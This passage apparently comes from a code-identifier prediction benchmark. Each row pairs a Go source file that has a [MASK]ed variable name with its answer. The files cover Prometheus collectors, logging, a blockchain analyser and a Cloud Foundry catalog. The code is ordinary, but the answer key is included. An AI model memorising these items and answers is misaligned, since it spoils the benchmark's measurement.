sourceReply Reachability flag == 255 else 0)."", peerLabels, nil), prometheus.GaugeValue}, //bool sourcesPeerBroadcast: typedDesc{prometheus.NewDesc(prometheus.BuildFQName(namespace, chronySubsystem, ""sources_peer_broadcast""), ""Broadcast flag (1|0)."", peerLabels, nil), prometheus.GaugeValue}, //bool sourcesPeerLeap: typedDesc{prometheus.NewDesc(prometheus.BuildFQName(namespace, chronySubsystem, ""sources_peer_leap""), ""Peer leap value (see tracking_leap_indicator)."", peerLabels, nil), prometheus.GaugeValue}, //int sourcesPeerStratum: typedDesc{prometheus.NewDesc(prometheus.BuildFQName(namespace, chronySubsystem, ""sources_peer_stratum""), ""Peer startum (see tracking_stratum)."", peerLabels, nil), prometheus.GaugeValue}, //int sourcesPeerPrecision: typedDesc{prometheus.NewDesc(prometheus.BuildFQName(namespace, chronySubsystem, ""sources_peer_precision""), ""Peer precision (see tracking_precision)."", peerLabels, nil), prometheus.GaugeValue}, //int sourcesPeerReach: typedDesc{prometheus.NewDesc(prometheus.BuildFQName(namespace, chronySubsystem, ""sources_peer_reach""), ""Int value of sourceReply Reachability flag (see sources_peer_reachable)."", peerLabels, nil), prometheus.GaugeValue}, //int sourcesPeerUnreach: typedDesc{prometheus.NewDesc(prometheus.BuildFQName(namespace, chronySubsystem, ""sources_peer_unreach""), ""Unreach flag from ."", peerLabels, nil), prometheus.GaugeValue}, //int sourcesPeerHMode: typedDesc{prometheus.NewDesc(prometheus.BuildFQName(namespace, chronySubsystem, ""sources_peer_hmode""), ""Hmode value from source data."", peerLabels, nil), prometheus.GaugeValue}, //int sourcesPeerPMode: typedDesc{prometheus.NewDesc(prometheus.BuildFQName(namespace, chronySubsystem, ""sources_peer_pmode""), ""Pmode value from source data."", peerLabels, nil), prometheus.GaugeValue}, //int sourcesPeerHPoll: typedDesc{prometheus.NewDesc(prometheus.BuildFQName(namespace, chronySubsystem, ""sources_peer_hpoll""), ""Hpoll value from source data."", peerLabels, nil), prometheus.GaugeValue}, //int sourcesPeerPPoll: typedDesc{prometheus.NewDesc(prometheus.BuildFQName(namespace, chronySubsystem, ""sources_peer_ppoll""), ""Ppoll value from source data."", peerLabels, nil), prometheus.GaugeValue}, //int sourcesPeerHeadway: typedDesc{prometheus.NewDesc(prometheus.BuildFQName(namespace, chronySubsystem, ""sources_peer_headway""), ""Headway value from source data."", peerLabels, nil), prometheus.GaugeValue}, //int sourcesPeerXleave: typedDesc{prometheus.NewDesc(prometheus.BuildFQName(namespace, chronySubsystem, ""sources_peer_xleave""), ""Xleave value from source data."", peerLabels, nil), prometheus.GaugeValue}, //float sourceStatsNSamples: typedDesc{prometheus.NewDesc(prometheus.BuildFQName(namespace, chronySubsystem, ""sourcestats_nsamples""), ""Number of sample points in measurement set."", peerLabels, nil), prometheus.GaugeValue}, //int sourceStatsNRuns: typedDesc{prometheus.NewDesc(prometheus.BuildFQName(namespace, chronySubsystem, ""sourcestats_nruns""), ""Number of residual runs with same sign."", peerLabels, nil), prometheus.GaugeValue}, //int sourceStatsSpanSeconds: typedDesc{prometheus.NewDesc(prometheus.BuildFQName(namespace, chronySubsystem, ""sourcestats_span_seconds""), ""Length of measurement set (time)."", peerLabels, nil), prometheus.GaugeValue}, //float sourceStatsStdDev: typedDesc{prometheus.NewDesc(prometheus.BuildFQName(namespace, chronySubsystem, ""sourcestats_std_dev_seconds""), ""Est. sample standard deviation."", peerLabels, nil), prometheus.GaugeValue}, //float sourceStatsResidFreq: typedDesc{prometheus.NewDesc(prometheus.BuildFQName(namespace, chronySubsystem, ""sourcestats_residential_freq""), ""Est. clock freq error (ppm)."", peerLabels, nil), prometheus.GaugeValue}, //float sourceStatsSkewFreq: typedDesc{prometheus.NewDesc(prometheus.BuildFQName(namespace, chronySubsystem, ""sourcestats_skew_freq""), ""Est. error in freq."", peerLabels, nil), prometheus.GaugeValue}, //float sourceStatsEstOffset: typedDesc{prometheus.NewDesc(prometheus.BuildFQName(namespace, chronySubsystem, ""sourcestats_est_offset_seconds""), ""Est. offset on the samples."", peerLabels, nil), prometheus.GaugeValue}, //float sourceStatsEstOffsetError: typedDesc{prometheus.NewDesc(prometheus.BuildFQName(namespace, chronySubsystem, ""sourcestats_est_offset_error_seconds""), ""Est. error in offset."", peerLabels, nil), prometheus.GaugeValue}, //float sourcesPeerCount: typedDesc{prometheus.NewDesc(prometheus.BuildFQName(namespace, chronySubsystem, ""sources_peer_count""), ""Numbers of total peers."", nil, nil), prometheus.GaugeValue}, //int logger: logger, }, nil } func runChronyCheck(address string, log log.Logger) (*NTPCheckResultE, error) { //var chronyClient *chrony.Client var ch *checker.ChronyCheck var err error var conn net.Conn timeout := 5 * time.Second [MASK] := time.Now().Add(timeout) if address == """" { return nil, errors.New(""address cannot be empty"") } if strings.HasPrefix(address, ""/"") { errors.New(""Connection through the socket is not supported (support is off since 0.0.6 due to unresolved issue)"") //addr, err := net.ResolveUnixAddr(""unix"", address) //if err != nil { // return nil, err //} //conn, err = net.DialUnix(""unix"", nil, addr) //if err != nil { // return nil, err //} //level.Debug(log).Log(""msg"", ""unix socket connection mode is used"", ""address"", address) } else { addr, err := net.ResolveUDPAddr(""udp"", address) if err != nil { return nil, err } conn, err = net.DialUDP(""udp"", nil, addr) if err != nil { return nil, err } level.Debug(log).Log(""msg"", ""udp connection mode is used"", ""address"", address) } defer conn.Close() if err := conn.SetReadDeadline( [MASK] ); err != nil { return nil, err } ch = checker.NewChronyCheck(conn) checkResult, err := ch.Run() if err != nil { return nil, err } // dirty conversion from NTPCheckResult to NTPCheckResultE (with additional SourcesStats fields) //checkResultE := (*NTPCheckResultE)(unsafe.Pointer(checkResult)) checkResultE := &NTPCheckResultE{} err = deepcopier.Copy(checkResult).To(checkResultE) if err != nil { errors.New(""can't make a deepcopy of checkResult"") } checkResultE.Peers = make(map[uint16]*PeerE) for pid := range checkResult.Peers { peerInfo := &PeerE{} err = deepcopier.Copy(checkResult.Peers[pid]).To(peerInfo) if err != nil { errors.New(""can't make a deepcopy of peerInfo"") } checkResultE.Peers[pid] = peerInfo sourceStatsReq := chrony.NewSourceStatsPacket(int32(pid)) response, err := ch.Client.Communicate(sourceStatsReq) if err != nil { return nil, errors.Wrap(err, ""error during sourceStats request"") } sourceStats, ok := response.(*chrony.ReplySourceStats) if !ok { return nil, errors.Wrap(err, ""cannot cast response into ReplySourceStats"") } logrus.Debugf(""%#v"", sourceStats) // sets new fields as per queried sourceStats peerInfo.NSamples = sourceStats.NSamples peerInfo.NRuns = sourceStats.NRuns peerInfo.SpanSeconds = sourceStats.SpanSeconds peerInfo.StdDev = sourceStats.StandardDeviation peerInfo.ResidFreq = sourceStats.ResidFreqPPM peerInfo.SkewFreq = sourceStats.SkewPPM peerInfo.EstOffset = sourceStats.EstimatedOffset peerInfo.EstOffsetError = sourceStats.EstimatedOffsetErr } return checkResultE, nil } func (c *chronyCollector) Update(ch chan<- prometheus.Metric) error { var b2i = map[bool]float64{false: 0, true: 1} resp, err := runChronyCheck(*chronyAddress, c.logger) // error handling if err != nil { level.Error(c.logger).Log(""msg"", ""request to chronyd failed"", ""err"", err) return ErrNoData } // response logging if needed if *chronyLogResponseJSON { j, err := json.Marshal(resp) if err == nil { level.Debug(c.logger).Log(""msg"", j) } } // tracking value subset ch <- c.trackingLI.mustNewConstMetric(float64(resp.LI), resp.LIDesc) ch <- c.trackingClockSource.mustNewConstMetric(1, resp.ClockSource) ch <- c.trackingCorrection.mustNewConstMetric(resp.Correction) ch <- c.trackingStratum.mustNewConstMetric(float64(resp.SysVars.Stratum)) ch <- c.trackingPrecision.mustNewConstMetric(float64(resp.SysVars.Precision)) ch <- c.trackingRootDelay.mustNewConstMetric(resp.SysVars.RootDelay / 1e3) //initially in ms, see: https://github.com/facebookincubator/ntp/blob/143e098237b0161198f3057998fdf8773c42d612/ntpcheck/checker/system.go#L66 ch <- c.trackingRootDisp.mustNewConstMetric(resp.SysVars.RootDisp / 1e3) ch <- c.trackingOffset.mustNewConstMetric(resp.SysVars.Offset / 1e3) ch <- c.trackingFrequency.mustNewConstMetric(resp.SysVars.Frequency) // refid parsing (hex as float) refID, err := strconv.ParseInt(resp.SysVars.RefID, 16, 64) if err == nil { ch <- c.trackingRefID.mustNewConstMetric(float64(refID)) } // refTime parsing (str as float) t, _ := time.Parse(""2006-01-02 15:04:05.99 -0700 MST"", resp.SysVars.RefTime) if t.Unix() > 0 { // Go Zero is 0001-01-01 00:00:00 UTC // NTP Zero is 1900-01-01 00:00:00 UTC // UNIX Zero is 1970-01-01 00:00:00 UTC // so let's keep ALL ancient `reftime` values as zero ch <- c.trackingRefTime.mustNewConstMetric(float64(t.UnixNano()) / 1e9) } else { ch <- c.trackingRefTime.mustNewConstMetric(0) } // peers value subset for _, peer := range resp.Peers { peerLabelValues := []string{peer.SRCAdr} //peer address appears as SRCAdr //floats ch <- c.sourcesPeerOffset.mustNewConstMetric(peer.Offset/1e3, peerLabelValues...) //initially in ms, see: https://github.com/facebookincubator/ntp/blob/81cb02c05f82f8c9cdf32e16f4ee02a3b05bfaf1/ntpcheck/checker/peer.go#L196 //ch <- c.sourcesPeerDelay.mustNewConstMetric(peer.Delay/1e3, peerLabelValues...) //ch <- c.sourcesPeerDispersion.mustNewConstMetric(peer.Dispersion/1e3, peerLabelValues...) ch <- c.sourcesPeerJitter.mustNewConstMetric(peer.Jitter/1e3, peerLabelValues...) ch <- c.sourcesPeerRootDelay.mustNewConstMetric(peer.RootDelay/1e3, peerLabelValues...) ch <- c.sourcesPeerRootDisp.mustNewConstMetric(peer.RootDisp/1e3, peerLabelValues...) //source stats ch <- c.sourceStatsStdDev.mustNewConstMetric(peer.StdDev, peerLabelValues...) ch <- c.sourceStatsEstOffset.mustNewConstMetric(peer.EstOffset, peerLabelValues...) ch <- c.sourceStatsEstOffsetError.mustNewConstMetric(peer.EstOffsetError, peerLabelValues...) ch <- c.sourceStatsResidFreq.mustNewConstMetric(peer.ResidFreq, peerLabelValues...) ch <- c.sourceStatsSkewFreq.mustNewConstMetric(peer.SkewFreq, peerLabelValues...) //booleans ch <- c.sourcesPeerConfigured.mustNewConstMetric(b2i[peer.Configured], peerLabelValues...) ch <- c.sourcesPeerAuthPossible.mustNewConstMetric(b2i[peer.AuthPossible], peerLabelValues...) ch <- c.sourcesPeerAuthentic.mustNewConstMetric(b2i[peer.Authentic], peerLabelValues...) ch <- c.sourcesPeerReachable.mustNewConstMetric(b2i[peer.Reachable], peerLabelValues...) ch <- c.sourcesPeerBroadcast.mustNewConstMetric(b2i[peer.Broadcast], peerLabelValues...) //integers ch <- c.sourcesPeerSelection.mustNewConstMetric(float64(peer.Selection), append(peerLabelValues, peer.Condition)...) ch <- c.sourcesPeerLeap.mustNewConstMetric(float64(peer.Leap), peerLabelValues...) ch <- c.sourcesPeerStratum.mustNewConstMetric(float64(peer.Stratum), peerLabelValues...) ch <- c.sourcesPeerPrecision.mustNewConstMetric(float64(peer.Precision), peerLabelValues...) ch <- c.sourcesPeerReach.mustNewConstMetric(float64(peer.Reach), peerLabelValues...) ch <- c.sourcesPeerUnreach.mustNewConstMetric(float64(peer.Unreach), peerLabelValues...) ch <- c.sourcesPeerHMode.mustNewConstMetric(float64(peer.HMode), peerLabelValues...) ch <- c.sourcesPeerPMode.mustNewConstMetric(float64(peer.PMode), peerLabelValues...) ch <- c.sourcesPeerHPoll.mustNewConstMetric(float64(peer.HPoll), peerLabelValues...) ch <- c.sourcesPeerPPoll.mustNewConstMetric(float64(peer.PPoll), peerLabelValues...) ch <- c.sourcesPeerHeadway.mustNewConstMetric(float64(peer.Headway), peerLabelValues...) ch <- c.sourcesPeerXleave.mustNewConstMetric(peer.Xleave, peerLabelValues...) //source stats ch <- c.sourceStatsNSamples.mustNewConstMetric(float64(peer.NSamples), peerLabelValues...) ch <- c.sourceStatsNRuns.mustNewConstMetric(float64(peer.NRuns), peerLabelValues...) ch <- c.sourceStatsSpanSeconds.mustNewConstMetric(float64(peer.SpanSeconds), peerLabelValues...) // refid parsing (hex as float) refID, err := strconv.ParseInt(peer.RefID, 16, 64) if err == nil { ch <- c.sourcesPeerRefID.mustNewConstMetric(float64(refID), peerLabelValues...) } // refTime parsing (str as float) t, _ := time.Parse(""2006-01-02 15:04:05.99 -0700 MST"", peer.RefTime) if t.Unix() > 0 { ch <- c.sourcesPeerRefTime.mustNewConstMetric(float64(t.UnixNano())/1e9, peerLabelValues...) } else { ch <- c.sourcesPeerRefTime.mustNewConstMetric(0, peerLabelValues...) } } //manually added metrics ch <- c.sourcesPeerCount.mustNewConstMetric(float64(len(resp.Peers))) return nil }",deadline 426,"package internal import ( ""encoding/hex"" ""encoding/json"" ""fmt"" ""net/url"" ""path/filepath"" ) func getTemplateVersion(template string) (string, error) { type FlowInteractionTemplateVersion struct { FVersion string `json:""f_version""` } var [MASK] FlowInteractionTemplateVersion err := json.Unmarshal([]byte(template), & [MASK] ) if err != nil { return """", err } if [MASK] .FVersion == """" { return """", fmt.Errorf(""version not found"") } return [MASK] .FVersion, nil } func isArrayParameter(arg FlixParameter) (isArray bool, cType string, jsType string) { if arg.Type == """" || arg.Type[0] != '[' { return false, """", """" } cadenceType := arg.Type[1 : len(arg.Type)-1] javascriptType := ""Array<"" + convertCadenceTypeToJS(cadenceType) + "">"" return true, cadenceType, javascriptType } func isUrl(str string) bool { u, err := url.Parse(str) return err == nil && u.Scheme != """" && u.Host != """" } type flixQueryTypes string const ( flixName flixQueryTypes = ""name"" flixPath flixQueryTypes = ""path"" flixId flixQueryTypes = ""id"" flixUrl flixQueryTypes = ""url"" flixJson flixQueryTypes = ""json"" ) func isHex(str string) bool { if len(str) != 64 { return false } _, err := hex.DecodeString(str) return err == nil } func isPath(path string, f FileReader) bool { if f == nil { return false } _, err := f.ReadFile(path) return err == nil } func isJson(str string) bool { var js json.RawMessage return json.Unmarshal([]byte(str), &js) == nil } func getType(s string, f FileReader) flixQueryTypes { switch { case isPath(s, f): return flixPath case isHex(s): return flixId case isUrl(s): return flixUrl case isJson(s): return flixJson default: return flixName } } // getRelativePath computes the relative path from generated file to flix json file. // This path is used in the binding file to reference the flix json file. func getRelativePath(configFile, bindingFile string) (string, error) { relPath, err := filepath.Rel(filepath.Dir(bindingFile), configFile) if err != nil { return """", err } // If the file is in the same directory and doesn't start with ""./"", prepend it. if !filepath.IsAbs(relPath) && relPath[0] != '.' { relPath = ""./"" + relPath } // Currently binding files are js, we need to convert the path to unix style return filepath.ToSlash(relPath), nil } ",flowTemplate 427,"package catalog import ( ""fmt"" ""net/http"" ""os"" ""github.com/cloudfoundry-community/go-cfenv"" ) const ( //HandlerPath - path for catalog handler to register against HandlerPath = ""/catalog"" ) func getDashboardInfo() (clientID string, clientSecret string, redirectURL string) { var ( app *cfenv.App [MASK] *cfenv.Service err error ) if app, err = cfenv.Current(); err == nil { redirectURL = app.ApplicationURIs[0] services := app.Services if [MASK] , err = services.WithName(os.Getenv(""OAUTH_SERVICE_NAME"")); err == nil { clientID = [MASK] .Credentials[os.Getenv(""OAUTH_CLIENT_FIELD"")].(string) clientSecret = [MASK] .Credentials[os.Getenv(""OAUTH_CLIENT_SECRET_FIELD"")].(string) } } return } //Get - function to handle a get request func Get() func(http.ResponseWriter, *http.Request) { return func(w http.ResponseWriter, req *http.Request) { clientID, clientSecret, redirectURL := getDashboardInfo() response := fmt.Sprintf(`{ ""services"": [{ ""id"": ""5a9b9f22-a08d-11e5-8062-7831c1d4f660"", ""name"": ""pez-haas"", ""description"": ""Lease on-demand hardware as a service"", ""metadata"":{ ""displayName"":""PEZ-HaaS"", ""imageUrl"":""http://s12.postimg.org/wt91ic9pp/broker_icon.png"", ""providerDisplayName"":""PEZ"" }, ""bindable"": false, ""plans"": [{ ""id"": ""6a977311-a08d-11e5-8062-7831c1d4f660"", ""name"": ""m1.small"", ""description"": ""A small instance of hardware as a service"", ""metadata"":{ ""bullets"":[ ""96gb memory (min)"", ""2.7 GHz x (4 sockets / 12 cores per)"", ""3TB NFS shared storage"", ""40 TB total local disk"", ""/24 network (on 10.65.x.x pivotal vpn)"", ""ESXi installed"" ] } }], ""dashboard_client"": { ""id"": ""%s"", ""secret"": ""%s"", ""redirect_uri"": ""https://%s/oauth2callback"" } }] }`, clientID, clientSecret, redirectURL) w.WriteHeader(http.StatusOK) fmt.Fprintf(w, response) } } ",oauthService 428,"// Copyright 2017 The Go Authors. All rights reserved. // Use of this source code is governed by a BSD-style // license that can be found in the LICENSE file. package main import ( ""strings"" ""golang.org/x/arch/x86/x86csv"" ) // An encoding is the parsed x86csv.Inst Encoding. type encoding struct { vex string // Dot separated VEX prefix. e.g. ""VEX.NDD.256.66.0F.WIG"" opbyte string // Single opcode encoding byte (example: ""38"") opdigit string // ""/digit"" byte that extends the opcode (example: ""7"" for /7) } // parseEncoding parses x86csv.Inst Encoding. func parseEncoding( [MASK] string) encoding { f := strings.Fields( [MASK] ) enc := encoding{ vex: f[0], opbyte: f[1], } // Parse rest parts. // Currently interested only in ""/digit"" byte, // but that may change later. for _, p := range f[2:] { switch p { case ""/r"", ""/is4"": // Currently not handled. case ""/0"", ""/1"", ""/2"", ""/3"", ""/4"", ""/5"", ""/6"", ""/7"": enc.opdigit = p[len(""/""):] } } return enc } // ytabID is a name of ""x86/asm6.go"" ytab table object. // // ytabMap contains all IDs that can be referenced // from generated Optabs. type ytabID string // optab holds data that is required to emit x86 optab entry. // // That is, it is not ""the optab"" itself, but a set // of parameters required to expand a template. // // Terminology differences: // x86csv | asm6.go // ------------------ // opcode | as // encoding | op // ------------------ // We use asm6.go terminology only in description of this structure, // as it describes asm6.go object. type optab struct { // Prefix is fixed to ""Pvex"" right now. // This may change when EVEX-encoded instructions // generation is supported. as string // AXXX constant name without leading ""A"" (example: ADD for AADD) ytabID ytabID // ytab table name (example: yvex_y2) op []string // Encoding parts } // doGroups groups instructions in insts by Go name and then calls // f for each different name, passing the name and the instructions // using that name. The calls are made ordered by first appearance // of name in insts, and the list of instructions for a given name // are in the same order as in insts. func doGroups(insts []*x86csv.Inst, f func(string, []*x86csv.Inst)) { var opcodes []string groups := make(map[string][]*x86csv.Inst) for _, inst := range insts { op := inst.GoOpcode() if groups[op] == nil { opcodes = append(opcodes, op) } groups[op] = append(groups[op], inst) } for _, op := range opcodes { f(op, groups[op]) } } // argsNormalizer is used to transform Intel manual style args (operands) // to shorter form. Compact form is used in compound keys (see ytabMap). // // asm6.go (x86 asm backend) does not care about: // - memory operand sizes. There are distinct instructions for different sizes. // - register indexes. ""xmm1"" or ""xmm"" - does not matter. var argsNormalizer = strings.NewReplacer( "", "", "","", "" "", """", ""imm8"", ""i8"", ""m8"", ""m"", ""m16"", ""m"", ""m32"", ""m"", ""m64"", ""m"", ""m128"", ""m"", ""m256"", ""m"", ""r32"", ""r"", ""r64"", ""r"", ""xmm1"", ""x"", ""xmm2"", ""x"", ""xmm3"", ""x"", ""xmm"", ""x"", ""ymm1"", ""y"", ""ymm2"", ""y"", ""ymm3"", ""y"", ""ymm"", ""y"", ) // ytabKey computes a key describing the operand forms from insts for ytabMap. // This lets us find instructions with the same groups of forms and // have them share a ytab entry. func ytabKey(op string, insts []*x86csv.Inst) string { var all []string for _, inst := range insts { form := argsNormalizer.Replace(inst.Go[len(op):]) all = append(all, form) } return strings.Join(all, "";"") } // vexExpr returns the Go expression describing the VEX prefix. // // Examples: // ""VEX.NDS.256.0F.WIG"" => ""vexNDS|vex256|vex0F|vexWIG"" // ""VEX.256.0F.WIG"" => ""vexNOVSR|vex256|vex0F|vexWIG"" func vexExpr(vex string) string { expr := strings.Replace(vex, ""."", ""|vex"", -1)[len(""VEX|""):] for _, p := range [...]string{""vexNDS"", ""vexNDD"", ""vexDDS""} { if strings.HasPrefix(expr, p) { return expr } } return ""vexNOVSR|"" + expr } ",encString 429,"package log import ( ""context"" ""encoding/json"" ""fmt"" ""time"" ) type ContextField string func (c ContextField) String() string { return string(c) } const ( ErrorLevel uint8 = iota WarnLevel InfoLevel TraceLevel DebugLevel ) const ( debugStr = ""debug"" infoStr = ""info"" warnStr = ""warn"" errorStr = ""error"" traceStr = ""trace"" ) const ( TracingTime ContextField = ""tracing_time"" UserID ContextField = ""user_id"" ClientHost ContextField = ""client_host"" CorrelationID ContextField = ""correlation_id"" HTTPPath ContextField = ""http_path"" ) var loggable = []fmt.Stringer{UserID, ClientHost, CorrelationID, HTTPPath} var level = DebugLevel type Field struct { Key string Value string } func SetLoggableFields(custom []fmt.Stringer) { loggable = custom } func GetLoggableFields() []fmt.Stringer { return loggable } func AppendLoggableFields(l fmt.Stringer) { loggable = append(loggable, l) } func SetLevel(l uint8) { level = l } func Debug(ctx context.Context, msg string) { p.send(Parse(ctx, debugStr, msg, nil), DebugLevel) } func Debugf(ctx context.Context, format string, args ...interface{}) { p.send(Parse(ctx, debugStr, fmt.Sprintf(format, args...), nil), DebugLevel) } func Info(ctx context.Context, msg string) { p.send(Parse(ctx, infoStr, msg, nil), InfoLevel) } func Infof(ctx context.Context, format string, args ...interface{}) { p.send(Parse(ctx, infoStr, fmt.Sprintf(format, args...), nil), InfoLevel) } func Warn(ctx context.Context, msg string) { p.send(Parse(ctx, warnStr, msg, nil), WarnLevel) } func Warnf(ctx context.Context, format string, args ...interface{}) { p.send(Parse(ctx, warnStr, fmt.Sprintf(format, args...), nil), WarnLevel) } func Error(ctx context.Context, err error, msg string) { p.send(Parse(ctx, errorStr, msg, err), ErrorLevel) } func Errorf(ctx context.Context, err error, format string, args ...interface{}) { p.send(Parse(ctx, errorStr, fmt.Sprintf(format, args...), err), ErrorLevel) } func Trace(ctx context.Context, msg string) { f := []Field{ { Key: ""timestamp"", Value: fmt.Sprintf(""%d"", time.Now().UTC().UnixNano()), }, } ctxVal := ctx.Value(TracingTime) if v, ok := ctxVal.(time.Time); ok { f = append(f, Field{Key: ""spent"", Value: time.Since(v).String()}) } p.send(Parse(ctx, traceStr, msg, nil, f...), TraceLevel) } func Parse(ctx context.Context, [MASK] string, msg string, err error, fields ...Field) string { var parsable = make(map[string]interface{}) for _, loggableField := range loggable { var val string var ctxVal = ctx.Value(loggableField) if ctxVal == nil { continue } switch v := ctxVal.(type) { case fmt.Stringer: val = v.String() case string: val = v } if val != """" { parsable[loggableField.String()] = val } } parsable[""time""] = time.Now().UTC().Format(time.RFC3339Nano) parsable[""timestamp""] = time.Now().UTC().UnixNano() if err != nil { parsable[""error""] = err.Error() } if msg != """" { parsable[""message""] = msg } for _, field := range fields { parsable[field.Key] = field.Value } parsable[""level""] = [MASK] result, err := json.Marshal(parsable) if err != nil && level == DebugLevel { fmt.Println(""Logger malfunctioning: "", err.Error()) } return string(result) } ",scopeLevel 430,"package blockAnalyser import ( ""sort"" ""strconv"" ""sync"" ""time"" ""github.com/golang/glog"" ""github.com/tendermint/go-amino"" ctypes ""github.com/tendermint/tendermint/rpc/core/types"" ""gorm.io/gorm"" ""kds/config"" ""kds/dbmodel"" ""kds/dbservice"" ""kds/singleton"" ) // Analyser 分析器 type Analyser struct { db *gorm.DB // 数据库 cdc *amino.Codec // 解码器 newDataNotifyCh chan struct{} // 新数据通知通道 wg sync.WaitGroup // 等待组 srvBlock *dbservice.Block // 区块服务 srvStatistics *dbservice.Statistics // 统计服务 srvBlockData *dbservice.BlockData // 区块数据 } // New 工厂方法 func New(db *gorm.DB, cdc *amino.Codec, newDataNotifyCh chan struct{}) *Analyser { return &Analyser{ db: db, cdc: cdc, newDataNotifyCh: newDataNotifyCh, srvBlock: dbservice.NewBlock(), srvStatistics: dbservice.NewStatistics(), srvBlockData: dbservice.NewBlockData(), } } // analyze 分析 func (object *Analyser) analyze(heightStep int64) (err error) { var [MASK] int64 = config.StartBlockHeight var blockModel *dbmodel.Block if blockModel, err = object.srvBlock.Latest(object.db); nil != err { return } if nil != blockModel { [MASK] = blockModel.Height + 1 } for { var blockDataModelList []*dbmodel.BlockData for begin := [MASK] ; begin <= singleton.LastBlockHeight; begin += heightStep { if blockDataModelList, err = object.srvBlockData.List(object.db, [MASK] , [MASK] +heightStep, false); nil != err || 0 >= len(blockDataModelList) { return } if nil != blockDataModelList && 0 < len(blockDataModelList) { break } } if 0 >= len(blockDataModelList) { break } var resultBlock ctypes.ResultBlock blockModelList := make([]*dbmodel.Block, 0, len(blockDataModelList)) for i := 0; i < len(blockDataModelList); i++ { object.cdc.MustUnmarshalJSON(blockDataModelList[i].Block, &resultBlock) blockModelList = append(blockModelList, &dbmodel.Block{ Height: resultBlock.Block.Height, Hash: resultBlock.BlockID.Hash.String(), Txn: int64(len(resultBlock.Block.Txs)), Validator: resultBlock.Block.ValidatorsHash.String(), Time: resultBlock.Block.Time, }) // 索引高度 singleton.HeightTrieTree.Add(strconv.FormatInt(resultBlock.Block.Height, 10), nil) } sort.Sort(dbmodel.NewBlockListSorter(blockModelList)) err = object.db.Transaction(func(tx *gorm.DB) (err error) { if err = object.srvBlock.AddAll(tx, blockModelList); nil != err { return } if err = object.srvStatistics.Updates(tx, map[string]interface{}{ ""latest_height"": blockModelList[len(blockModelList)-1].Height, }); nil != err { return } return }) if blockModel, err = object.srvBlock.Latest(object.db); nil != err { return } if nil != blockModel { [MASK] = blockModel.Height + 1 } } return } // Start 开始 func (object *Analyser) Start(heightStep int64) (err error) { if err = object.analyze(heightStep); nil != err { return } object.wg.Add(1) go func() { defer object.wg.Done() loop: for { select { case _, ok := <-object.newDataNotifyCh: if !ok { break loop } err = object.analyze(heightStep) if nil != err { glog.Errorln(err) time.Sleep(1 * time.Second) } } } }() return } // Stop 停止 func (object *Analyser) Stop() (err error) { object.wg.Wait() return } ",start 431,"package main import ( ""strconv"" ""github.com/SUSE/saptune/txtparser"" ""github.com/prometheus/client_golang/prometheus"" log ""github.com/sirupsen/logrus"" ) const subsystem_meta = ""meta"" // MetaCollector is the saptune collector for general infos type MetaCollector struct { DefaultCollector } // NewMetaCollector creates a new solution saptune collector func NewMetaCollector() (*MetaCollector, error) { c := &MetaCollector{ NewDefaultCollector(subsystem_meta), } // this metric are set by setSolutionEnabledMetric c.SetDescriptor(""version"", ""Show version of saptune"", nil) return c, nil } // Collect various metrics for saptune solution func (c *MetaCollector) Collect(ch chan<- prometheus.Metric) { log.Debugln(""Collecting saptune solution metrics..."") c.setSaptuneVersionMetric(ch) } func (c *MetaCollector) setSaptuneVersionMetric(ch chan<- prometheus.Metric) { // get major saptune version sconf, err := txtparser.ParseSysconfigFile(""/etc/sysconfig/saptune"", true) if err != nil { log.Warnf(""Error: Unable to read file '/etc/sysconfig/saptune': %v\n"", err) } SaptuneVersion := sconf.GetString(""SAPTUNE_VERSION"", """") if [MASK] , err := strconv.ParseFloat(SaptuneVersion, 32); err == nil { ch <- c.MakeGaugeMetric(""version"", float64( [MASK] )) } } ",SaptuneVersionF 432,"package driver import ( ""context"" ""fmt"" ""os"" ""os/signal"" ""github.com/bblfsh/performance"" ""github.com/bblfsh/performance/docker"" helper ""github.com/bblfsh/performance/grpc-helper"" ""github.com/bblfsh/performance/storage"" ""github.com/bblfsh/performance/storage/file"" ""github.com/bblfsh/performance/storage/influxdb"" ""github.com/bblfsh/performance/storage/pushgateway"" ""github.com/spf13/cobra"" ""gopkg.in/src-d/go-log.v1"" ) // Cmd return configured driver-native command func Cmd() *cobra.Command { cmd := &cobra.Command{ Use: ""driver [--language=] [--commit=] [--storage=] [--filter-prefix=] "", Aliases: []string{""d""}, Args: cobra.MinimumNArgs(1), Short: ""run language driver container and perform benchmark tests over the driver, store results into a given storage"", Example: `WARNING! To access storage corresponding environment variables should be set. Full examples of usage scripts are following: # for prometheus pushgateway export PROM_ADDRESS=""localhost:9091"" export PROM_JOB=pushgateway ./bblfsh-performance driver \ --language go \ --commit 096361d09049c27e829fd5a6658f1914fd3b62ac \ /var/testdata/fixtures # for influx db export INFLUX_ADDRESS=""http://localhost:8086"" export INFLUX_USERNAME="""" export INFLUX_PASSWORD="""" export INFLUX_DB=mydb export INFLUX_MEASUREMENT=benchmark ./bblfsh-performance driver \ --language go \ --commit 096361d09049c27e829fd5a6658f1914fd3b62ac \ --storage=influxdb \ /var/testdata/fixtures `, RunE: performance.RunESilenced(func(cmd *cobra.Command, args []string) error { language, _ := cmd.Flags().GetString(""language"") commit, _ := cmd.Flags().GetString(""commit"") excludeSubstrings, _ := cmd.Flags().GetStringSlice(""exclude-suffixes"") stor, _ := cmd.Flags().GetString(""storage"") [MASK] , _ := cmd.Flags().GetString(""filter-prefix"") if _, err := storage.ValidateKind(stor); err != nil { return err } log.Debugf(""download and build driver"") image, err := docker.DownloadAndBuildDriver(language, commit) if err != nil { return err } log.Debugf(""run driver container"") driver, err := docker.RunDriver(image) if err != nil { return err } defer driver.Close() // prepare context ctx, cancel := context.WithCancel(context.Background()) c := make(chan os.Signal, 1) signal.Notify(c, os.Interrupt) defer func() { signal.Stop(c) cancel() }() go func() { select { case <-c: cancel() case <-ctx.Done(): } }() return helper.BenchmarkGRPCAndStore(ctx, helper.BenchmarkGRPCMeta{ Address: driver.Address, Commit: commit, ExcludeSubstrings: excludeSubstrings, Dirs: args, FilterPrefix: [MASK] , Language: language, Level: performance.DriverLevel, Storage: stor, }) }), } flags := cmd.Flags() flags.StringP(""language"", ""l"", """", ""name of the language to be tested"") flags.StringP(""commit"", ""c"", """", ""commit id that's being tested and will be used as a tag in performance report"") flags.StringSlice(""exclude-suffixes"", []string{"".legacy"", "".native"", "".uast""}, ""file suffixes to be excluded"") flags.String(""filter-prefix"", performance.FileFilterPrefix, ""file prefix to be filtered"") flags.StringP(""storage"", ""s"", pushgateway.Kind, fmt.Sprintf(""storage kind to store the results(%s, %s, %s)"", pushgateway.Kind, influxdb.Kind, file.Kind)) return cmd } ",filterPrefix 433,"package wxpay import ( 